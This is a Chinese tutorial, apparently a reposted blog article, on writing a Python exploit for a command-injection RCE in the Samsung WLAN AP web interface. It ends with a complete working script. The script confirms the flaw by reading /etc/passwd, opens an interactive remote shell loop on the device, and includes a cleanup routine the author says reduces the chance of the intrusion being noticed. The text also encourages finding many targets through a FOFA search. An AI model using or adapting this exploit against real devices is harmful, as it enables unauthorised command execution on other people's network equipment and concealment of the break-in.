如何编写属于自己的第一个exp

news2025/1/19 4:51:46

0x00 前言

在我们找到一个漏洞之后,可能会想着去fofa上搜语法进而扩大战果,而有些漏洞利用起来十分繁琐,这时候就需要一个exp来批量帮我们进行扫描工作,接下来就介绍一下如何进行exp的编写,这个过程中最重要的还是体现编程思想。

0x01 搭建框架

这里注意一个思想,你要想利用exp去批量打一个漏洞,那必须要存在这个漏洞才能够用exp去利用,可能有的师傅会说,存不存在这个漏洞交给poc去检测啊?

但是我想说的是,一个好的exp并不是单单只是漏洞的利用,而是结合了检测和利用两个模块在一起,所以我在编写exp的过程中都会选择先去检测这个漏洞,再对这个漏洞进行批量利用。

我个人的习惯是先把大体框架搭建出来,可能有些师傅喜欢写一块想一块,但是这里就体现了一个框架的编程思想,你在进行exp的编写时需要考虑到你这个exp需要进行哪几个大的过程去利用这个漏洞。如果写一块想一块的话,一是可能有些地方会漏掉,二是有一些变量可以作为全局变量来使用的却要用局部变量写很多次。

首先养成一个良好的习惯在py头加上一些注释信息,因为你这个py开发出来是要面向大众使用的,而不是你一个人用,所以在别人使用你的程序时,需要知道你这个程序到底是用什么语言写的,python2还是python3,或者其他的一些信息,所以一个好的注释是非常有必要的。

这里就注释了python3编写,以及怎么找这个漏洞的fofa语句,以及ID

接下来就是引入一些库,sys、os、requests这些库都是老生常谈的了,这里着重介绍一下这一行代码的意思

from urllib3.exceptions import InsecureRequestWarning

我们知道https的站都是会有证书验证的,我们在使用Python3 requests发送HTTPS请求,已经关闭认证(verify=False)情况下,控制台会输出以下错误:

InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings

这里我们加上使用这个库就是为了禁用requests发送HTTPS请求后的安全警告

然后就是搭建一个框架,定义一个Check()函数意为检查这个漏洞是否存在,Expliot()函数意为发包去利用这个漏洞,再就是一个主函数

这里我需要提的一个点是函数的命名一定要和这个函数的功能密切相关,否则别人在使用你这个py的时候不能够一眼就知道这个函数大概是干什么的,还需要去看一遍代码,就会十分的麻烦

到这我们的大体框架就已经搭建完毕

0x02 函数编写

这里我们先看一下这个漏洞的poc&exp,以及bp抓包返回的数据

我们先看一下这个漏洞的poc&exp,以及真实情况下bp发送的数据包

可以发现这里是发送了一个POST请求,内容为command1=shell:cat /etc/passwd| dd of=/tmp/a.txt,然后返回包为系统的一些信息

那我们这里首先定义一个headers位于全局变量里

再定义一个CheckData作为Check()函数发包时的Data使用

然后我们定义一个response发送post请求,这里verify = False就是上文提到的关闭安全验证

这里我们看一下headers、CheckData都有定义,这个payload没有被定义,所以我还需要定义一下payload到底是个什么参数

因为在Exploit()这个模块里也需要用到payload,所以我直接选择将payload定义到主函数里,这样就可以当作全局变量来使用

这里我们来到主函数

这里我先规范一下输入的东西,我们知道一些程序在你没有输入程序规定的数据时会报错,这里我们也设置一下

这里我用到了一个sys.argv

sys.argv[0]是代表当前所执行的脚本
sys.argv[1] 脚本第一个参数
所以len(sys.argv) == 2 代表当前脚本含有1个参数

那么我这里用到的if(len(sys.argv) < 2)如果成立,以为着后面时没有参数的,所以这里我输出一个UseAge和Example告诉使用者格式应该是怎样的

再定义一个target指向输入的这个参数,然后定义一下payload,看一下返回包的这个地方

发送了POST请求,而这个POST请求当然是我们要利用漏洞的这个主机发出的,而目标主机的ip作为参数传入,我把它放到了target里面,这样的话构造出来payload就应该为

payload = target + "/(download)/tmp/hello.txt"

payload构建完成那么我们再回到Checking()函数里,我们知道响应成功的话网站是会返回200的校验码的,所以这里我们就可以写一个if...else...语句来进行判断是否返回200来判断漏洞存不存在

另外观察bp的返回包里有root:,那么我们也可以把root:作为判断的条件写入语句来判断漏洞是否存在

但是还有一种情况,如果发送数据包超时了的话,就说明这个服务器不能够接受这个请求,这里我们就还需要补充一个excpet即额外的情况,那么就直接输出服务器错误,函数就不再往下执行

到这里我们的Check()函数就已经编写完毕

那我们继续往下来到Exploit()即漏洞利用这个模块编写,之前我们运行了Check()函数,用了一个if...else...语句对返回包进行判断,如果有200存在则返回True,那么这个地方我们首先要判断上一个函数是否返回的为True,如果不为True我们肯定就没有必要再往下执行这个Exploit()函数

这里我们为了提示用户我们已经进到了Exploit()利用这个函数,我们input一个"# "

def Exploit():
    while  True:
        try:
             command = input("#")

这时候我们再看一下bp发送的包

这里发现“shell:”后面到“|”之前的为linux语句,所以这个地方我们将cat /etc/passwd改为我们想要查询的语句构造成ExpData

然后还是用post请求发送一个包,这个地方就不需要判断了,因为判断已经在Check()函数里面了,这里我们直接将返回的数据打印出来即可

还有一个问题,如果有些命令对面主机不支持怎么办呢,这里我们就再用一个except来输出一个提示信息告诉使用者这个命令对面主机不能使用这个命令

到这个地方Exploit()函数也已经编写完毕了,那么就到了exp的最后一步,对主函数进行完善

这里首先加上一行,之前介绍过的不提示https的安全信息

还有一个逻辑就是,你必须检测出漏洞了才能够继续往下到Exploiot()函数进行利用,所以这个地方我们在加上一个while语句的判断

到这我们这样一个exp就已经大公告成了,这里我在fofa上随便找一个站来试试效果

 首先我直接利用这个py,不传参数进去,它会显示一个UseAge跟Example出来提示我应该怎样使用

当我输入了一个正确网站的时候就能够正常利用了

但是这里又出现了一个问题,有些命令不能够使用怎么办呢

这个漏洞我在查阅资料后发现有一个busybox,能够支持很多命令,如下图所示

现在我再执行whoami命令就可以看到回显了

但是这里又出现了一个问题,就是每次退出的时候都要ctri+c界面就很难看,进入之后也不能够用cls清屏,作为强迫症的我决定继续完善

当我输入exit时调用sys.exit()方法退出程序,当我输入cls时调用os.system("cls")方法清屏,这样看起来就美观多了

这个漏洞需要想目标机发送一个POST请求生成一个hello.txt,那么在利用完成之后就会把hello.txt留在目标机里,这样就增大了被发现入侵过了可能性,所以我这里再加一个Clean()函数对这个txt进行清理

这里使用的命令应该是rm -f,但是它这个就需要在busybox里面调用,所以这个地方在前面加上一个busybox即可

返回200状态码即为清除成功,否则的话清除失败

这里也需要加上一个except来判断目标机是否接收到了我们发送的这个请求

因为我们清理的话需要传入两个参数,所以这里加上一个sys.argv对传入进行判断,当第二个参数为clean则执行Clean(),否则报错

这里再试试效果 

在后面我对输出信息进行了更一步的美化,如下图所示

完整代码如下 

#! /usr/bin/python3
#fofa search: title="Samsung WLAN AP"
#Author Drunkmars



import sys
import requests
import time
import os
from urllib3.exceptions import InsecureRequestWarning


def Checking():
    try:
        Url = target + "(download)/tmp/hello.txt"
        CkData = "command1=shell:cat /etc/passwd| dd of=/tmp/hello.txt"
        response = requests.post(url = Url,data = CkData,verify = False,timeout = 20)
        if(response.status_code == 200 and 'root:' in response.text):
            return True
        else:
            return False
    except Exception as e:
        #print("checking")
        print("[-] Server Error!")

def Exploit():
    Url = target + "(download)/tmp/hello.txt"
    while True:
        try:
            command = input("# ")
            if(command == 'exit'):
                sys.exit()
            if(command == 'cls'):
                os.system("cls")
                continue
            data = "command1=shell:" + command + "| dd of=/tmp/hello.txt"
            response = requests.post(url = Url,data = data,verify = False,timeout = 20)
            if(response.text == None):
                print("[!] Server reply nothing")
            else:
                print(response.text)
        except Exception as e:
            print("[-] Server not suport this command")
def Clean():
    Url = target + "(download)/tmp/hello.txt"
    try:
        CleanData = "command1=shell:busybox rm -f /tmp/hello.txt"
        response = requests.post(url = Url,data = CleanData,verify = False,timeout = 10)

        if(response.status_code == 200):
            print("[+] Clean target successfully!")
            sys.exit()
        else:
            print("[-] Clean Failed!")
    except Exception as e:
        print("[-] Server error!")

if __name__ == '__main__':
    if(len(sys.argv) < 2):
        print("|-----------------------------------------------------------------------------------|")
        print("|                                WLAN-AP-WEA453e Rce                                |")
        print("|                       UseAge: python3 exploit.py target                           |")
        print("|                   Example: python3 exploit.py https://192.168.1.1/                |")
        print("|                 Clean target: python3 exploit.py https://192.168.1.1/ clean       |")
        print("|                                [!] Learning only                                  |")
        print("|___________________________________________________________________________________|")
        sys.exit()
    target = sys.argv[1]
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

    if(len(sys.argv) == 3):
        module = sys.argv[2]
        if(module == 'clean'):
            Clean()
        else:
            print("[-] module error!")

    while Checking() is True:
        Exploit()

0x03 后记

exp的编写其实大同小异,主要是首先要搭建起一个框架,知道每一步需要干些什么事情,其实exp的编写也没有想象中的那么难,可能是这个漏洞的利用比较简单,写起来也比较顺畅

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1571881.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

12-1-CSS 常用样式属性

个人主页&#xff1a;学习前端的小z 个人专栏&#xff1a;HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结&#xff0c;欢迎大家在评论区交流讨论&#xff01; 文章目录 CSS 常用样式属性1 CSS 三角形2 CSS 用户界面样式2.1 什么是界面样式2.2 鼠标…

磁盘压力测试工具(vdbenchfio)

磁盘压力测试工具&#xff08;vdbench&fio&#xff09; 最近有遇到对象挂载为文件系统的需求&#xff0c;为了测试挂载后的读写性能&#xff0c;有了解了一些测试工具。下面给大家分享下我使用的工具vdbench和fio。 1 vdbench 官网文档&#xff1a;https://www.oracle.com/…

2024/4/5 ACM格式练习

一、知识点&#xff1a; &#xff08;1&#xff09;行数不固定&#xff1a;用Scanf的err返回值判断是否读到EOF。 &#xff08;2&#xff09;每行数据个数不固定&#xff1a;一个一个读数据和它后面的字符&#xff0c;判断后面的字符是否是换行符。如果是就说明读完了一行数据…

汽车网络安全管理

汽车网络安全管理 我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 屏蔽力是信息过载时代一个人的特殊竞争力&#xff0c;任何消耗你的人和事&#xff0c…

三菱FX3U计数器

1&#xff0c;定义计数器用了计数输入信号沿触发次数 2&#xff0c;分类主要分为普通计数器和高速计数器 范围定义C0-C9916位正向计数器&#xff08;一般用&#xff09;C100-c19916位正向计数器(保持型)C200-C21932位加减计数器&#xff08;一般用&#xff09;C220-C23432位加…

软考111-上午题-【计算机网络】-URL和DNS

一、URL解析 org&#xff1a;各类组织结构&#xff08;非盈利团队&#xff09; 1-1、顶级域 顶级域名是域名的最后一个部分&#xff0c;即是域名最后一点之后的字母&#xff0c;例如&#xff1a;www.baidu.com这个域名中&#xff0c;顶级域是.com&#xff08;或.COM&#xff…

20240405,数据类型,运算符,程序流程结构

是我深夜爆炸&#xff0c;不能再去补救C了&#xff0c;真的来不及了&#xff0c;不能再三天打鱼两天晒网了&#xff0c;真的来不及了呜呜呜呜 我实在是不知道看什么课&#xff0c;那黑马吧……MOOC的北邮的C正在进行呜呜 #include <iostream> using namespace std; int…

云原生架构(微服务、容器云、DevOps、不可变基础设施、声明式API、Serverless、Service Mesh)

前言 读完本文&#xff0c;你将对云原生下的核心概念微服务、容器云、DevOps、Immutable Infrastructure、Declarative-API、Serverless、Service Mesh 等有一个相对详细的了解&#xff0c;帮助你快速掌握云原生的核心和要点。 因题主资源有限, 这里会选用部分云服务商的组件进…

idea开发 java web 配电室后台管理系统bootstrap框架web结构java编程计算机网页

一、源码特点 java 配电室后台管理系统是一套完善的完整信息系统&#xff0c;结合java web开发和bootstrap UI框架完成本系统 &#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主 要采用B/S模式开发。 前段主要技术 cs…

LLM大语言模型(九):LangChain封装自定义的LLM

背景 想基于ChatGLM3-6B用LangChain做LLM应用&#xff0c;需要先了解下LangChain中对LLM的封装。本文以一个hello world的封装来示例。 LangChain中对LLM的封装 继承关系&#xff1a;BaseLanguageModel——》BaseLLM——》LLM LLM类 简化和LLM的交互 _call抽象方法定义 ab…

C# MES通信从入门到精通(9)——c#使用visual studio2019社区版部署webservice服务

前言 在上位机软件开发领域,我们经常使用调用webservice接口来和mes系统进行交互,我们在开发Mes程序之前也可以自己先模拟发布客户的webservice接口进行调用从而加快软件开发进度,本文就是详细介绍如何自己发布webservice接口。 1、创建 参考这篇博文:webservice服务创建…

基于Python的豆瓣电影评分可视化,豆瓣电影评分预测系统

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

SpamSieve mac垃圾邮件过滤器 直装激活版

SpamSieve通过强大的垃圾邮件过滤技术&#xff0c;帮助用户有效管理和消除不想要的电子邮件。它能与多种电子邮件客户端无缝集成&#xff0c;如Apple Mail、Microsoft Outlook、Airmail等。 软件下载&#xff1a;SpamSieve mac直装激活版下载 该软件利用先进的算法和机器学习技…

解决沁恒ch592单片机在tmos中使用USB总线时,接入USB Hub无法枚举频繁Reset的问题

开发产品时采用了沁恒ch592&#xff0c;做USB开发时遇到了一个奇葩的无法枚举问题。 典型症状 使用USB线直连电脑时没有问题&#xff0c;可以正常使用。 如果接入某些特定方案的USB Hub&#xff08;例如GL3510、GL3520&#xff09;&#xff0c;可能会出现以下2种情况&#xf…

11-1(2)-CSS 背景+CSS 精灵图

个人主页&#xff1a;学习前端的小z 个人专栏&#xff1a;HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结&#xff0c;欢迎大家在评论区交流讨论&#xff01; 文章目录 一、CSS 背景1 背景颜色2 背景色半透明3 背景图片4 背景平铺5 背景图片位置6 …

6 种事件驱动的架构模式

事件驱动架构(Event-Driven Architecture)是一种基于事件和事件处理的软件架构&#xff0c;它的核心思想是将系统的行为和逻辑抽象成一系列事件&#xff0c;这些事件在系统中按照一定的规则和顺序产生和传播&#xff0c;并被相应的处理器处理。事件驱动架构具有高度的灵活性、可…

跨平台的组播测试工具mping、udp_sender及udp_reciver的源码及使用教程

文章目录 1.前言2.mping工具编译3.mping工具使用3.1 参数说明3.1 组播播发&#xff08;-s&#xff09;3.1 组播播发&#xff08;-r&#xff09;3.3 Linux下mping测试 4.Linux组播udp_sender及udp_reciver使用4.1 udp_sender源码4.1 udp_reciver源码4.3 编译方法4.4 测试使用4.4…

ensp华为AC+AP上线配置

AR1配置&#xff1a; <Huawei>system-view # 进入系统视图<Huawei>sysname R1 # 设备重命名[R1]dhcp enable # 开启DHCP功能[R1]interface GigabitEthernet0/0/0 # 进入接口 [R1-GigabitEthernet0/0/0]ip address 192.168.0.1 23 # 配置接口地址 [R1-GigabitE…

Redis -- 缓存雪崩问题

缓存雪崩是指在同一时段大量的缓存key同时失效或者Redis服务宕机&#xff0c;导致大量请求到达数据库&#xff0c;带来巨大压力。 可能原因 : 同一时间大量的key到期 ; 解决方案&#xff1a; 给不同的Key的TTL添加随机值 利用Redis集群提高服务的可用性 给缓存业务添加降…

背包问题---

一、背包模型 有一个体积为V的背包,商店有n个物品,每个物品有一个价值v和体积w,每个物品只能被拿一次,问能够装下物品的最大价值。 这里每一种物品只有两种状态即"拿"或"不拿". 设状态dp[i][j]表示到第i个物品为止,拿的物品总体积为j的情况下的最大价…